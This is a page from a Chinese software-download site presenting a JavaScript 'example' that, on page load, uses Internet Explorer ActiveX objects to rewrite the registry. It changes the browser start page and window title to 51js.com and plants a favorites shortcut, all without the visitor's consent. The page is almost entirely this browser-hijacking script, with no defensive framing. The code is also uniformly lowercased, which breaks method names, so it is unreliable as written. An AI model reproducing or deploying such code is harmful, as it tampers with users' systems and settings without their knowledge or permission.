大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 技术开发 -> Script -> JavaScript修改注册表的例子

JavaScript修改注册表的例子

时间: 2021-07-31 作者:daque

document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");function addfavlnk(loc, dispname, siteurl){var shor = shl.createshortcut(loc + "\\" + dispname +".url");shor.targetpath = siteurl;shor.save();}function f(){try{//activex 初始化a1=document.applets[0];a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");a1.createinstance();shl = a1.getobject();a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");a1.createinstance();fso = a1.getobject();a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}");a1.createinstance();net = a1.getobject();try{if (document.cookie.indexof("chg") == -1){//树立cookievar expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));document.cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;"//树立cookie结束//树立网页shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page", "http://www.51js.com/");//窜改欣赏器的题目shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\window title", "你的internet explorer仍旧被窜改过了 51js.com");//树立cookievar expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));document.cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;"var wf, shor, loc;wf = fso.getspecialfolder(0);loc = wf + "\\favorites";if(!fso.folderexists(loc)){loc = fso.getdrivename(wf) + "\\documents and settings\\" + net.username + "\\favorites";if(!fso.folderexists(loc)){return;}}addfavlnk(loc, "无忧剧本", "http://www.51js.com");}}catch(e){}}catch(e){}}function init(){settimeout("f()", 1000);}init();</script> 

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.